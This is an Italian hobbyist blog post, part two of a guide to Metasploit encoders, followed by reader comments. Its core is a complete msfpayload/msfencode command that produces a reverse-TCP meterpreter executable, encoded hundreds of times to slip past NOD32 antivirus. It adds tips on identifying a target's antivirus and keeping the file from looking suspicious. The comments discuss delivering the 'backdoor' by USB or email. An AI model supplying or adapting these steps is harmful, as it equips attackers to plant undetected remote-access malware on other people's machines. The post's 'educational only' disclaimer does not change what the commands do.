martedì 1 marzo 2011

SICUREZZA:come utilizzare un encoder (MSF)-[2/2]

Eccoci qui,come promesso ecco la seconda parte della mia guida sugli encoders.
Se non lo avete ancora fatto leggete la prima parte della guida.
Ora,come sempre mi scuso per il notevle ritardo...colpa dei compiti in classe(come sempre!).



ATTENZIONE!L'AUTORE DELLA GUIDA(GHEBBO_HCK) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.


Vi avevo lasciato con un dubbio.Il nostro payload verrà trovato dagli antivirus?
Ovviamente...si.


Ora come avrete capito c'è bisogno di qualche modifica...siete pronti?
Apriamo una konsole(non credo ci sia bisogno di dire come...) e digitiamo:


./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)>R | ./msfencode -e <percorso encoder es. x86/shikata_ga_nai> -t exe -c <numero> | ./msfencode -e <percorso altro encoder da usare es. x86/call4_dword_xor> -t raw -c <numero> X > /percorso/dove/salvare/il/file.exe

Dove:

./msfpayload è l'applicazione per creare un payload("./nomefile" serve per eseguire un eseguibile).
<percorso_payload(es.windows/meterpreter/reverse_tcp)> è il percorso del payload da rendere eseguibile.
LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> sono i parametri che necessita il payload.
./msfencode è l'applicazione che permette di codificare i file.
-t exe è il tipo di formato che vogliamo,nel nostro caso .exe(eseguibile per windows).
-o NomeFileCriptato.exe serve a creare un nuovo file "criptato".
-e x86/shikata_ga_nai serve a selezionare uno dei tanti encoders che msf ci mette a disposizione,in questo caso x86/shikata_ga_nai.
-c <numero> serve ad indicare quante volte il file deve essere "criptato",più il numero è maggiore più il peso del file aumenterà(quindi usatelo con parsmonia:un file da 10GB forse non verrà trovato dagli antivirus,ma farà insospettire un sacco di persone).
R | serve a "unire" più comandi.
./msfencode è l'applicazione che gestisce tutti gli encoders di MSF.
-e <percorso encoder es. x86/shikata_ga_nai> è(ma va??) il percorso del nostro encoder .
-t è il tipo di formato che vogliamo venga "cryptato".
-c è il numero di volte che vogliamo "cryptare" il nostro payload.
X > percorso/dove/salvaare/il/file.exe serve a creare un eseguible(X) nella cartella specificata(> percorso/dove/salvare/il/file.exe)


Ricordiamoci però di cambiare la parte con scritto <numero> e (se vogliamo) di mischiare più encoders tra di loro.

Prima di mostrarvi un payload "FUNZIONANTE" vi vorrei dare un po di consigli:


Consiglio 1:Se dovete attaccare un sistema vulnerabile vi conviene cercare di scoprire che sistema AntiVirus ha al suo interno.

Consiglio 2:Dopo aver scoperto il tipo di AntiVirus iniziate a lavorare con gli encoders per vedere se riuscite a trovare la "combinazione vincente"(che non faccia pesare troppo il file - così da non renderlo sospetto - e che superi l'antivirus che abbiamo trovato sul sistema).


Ecco il cosa scrivere per bypassare(probabilmente ho anche esagerato...)
"NOD 32":

./msfpayload windows/meterpreter/reverse_tcp LHOST=<il vostro ip> LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -t exe -c 150 | ./msfencode -e x86/call4_dword_xor -t raw -c 50 X > /root/payload.exe 

Ecco qui che ne pensa VirusTotal



Spero che l'articolo vi sia piaciuto! 
Se trovate qualche errore vi prego di segnalarlo,così da poter rimediare.
Alla prossima =).

4 commenti:

  1. Ciao, innanzitutto volevo farti i complimenti per il blog :)
    Passando al tuo articolo, ho constatato che effettivamente l'encoding funziona perchè la backdoor non viene rilevata da virustotal, però ho notato che il file di output generato "pesa" 25MB, ma se devo passarlo su una pendrive USB o allegarlo in una email l'operazione trasmette solo 72KByte (le dimensioni "solite" del payload meterpreter in fase di invio)...è normale o secondo te sbaglio qualcosa? Grazie anticipatamente
    Antonino

    RispondiElimina
  2. ho anche provato vari tipi di encoding (il tuo ed altri che ho trovato in giro per il web)... il programma sembra funzionare (encoding suceeded with...) il problema è che mi sono accorto che il file generato è di 0 kb!!! Praticamente è vuoto! Dove sbaglio?

    RispondiElimina
  3. Per Hizagashira:
    In teoria è strano perchè se l'encoding è andato a buon fine dovrebbe generare "almeno" i 72kbyte di meterpreter...hai provato ad aggiornare la console metasploit?

    RispondiElimina
  4. Salve mi scuso per il ritardo della risposta sono stato abbastanza idaffarato con la scuola.(alla fine è sempre colpa sua hehehe) Hizagashira:se hai seguito tutti i passaggi l'encoder dovrebbe generare un file che pesa più di 0kb.Assicurati di non aver dimenticato qualche passaggio.Rifati tutto da capo:se non dovesse acnora funzionare ti prego di contattarmi via mail(mandami un email con l'output completo e tutte le operazioni svolte). Controlla soprattutto il segno ">" che serve per generare il file ;).Fammi sapere se ci sono novità. Per l'utente Antonino:il file potrebbe pesare 25mb a causa dell'encoder.Quando l'encoder scrive nel/il file aggiunge "codice sporco" per rendere più difficile la sua lettura agli antivirus.Prova a diminuire il nomero di volte che esegui l'encode o prova a cambiare encoder.Fammi sapere... Ultimamente non sto usando metasploit quindi non posso aiutarvi molto senza provare(lo so,lo so dovrei essere così bravo da farlo anche senza,ma mi risulta difficile: soprattutto perchè potrei farvi incontrare SOLO ALTRI PROBLEMI,quindi mi tengo sul sicuro ;) ). Se trovate altre soluzioni vi prego di postarle,anche se risolvete postate la soluzione,magari sarà di aiuto a qualcun altro. Ah e....Buona pasqua! =)

    RispondiElimina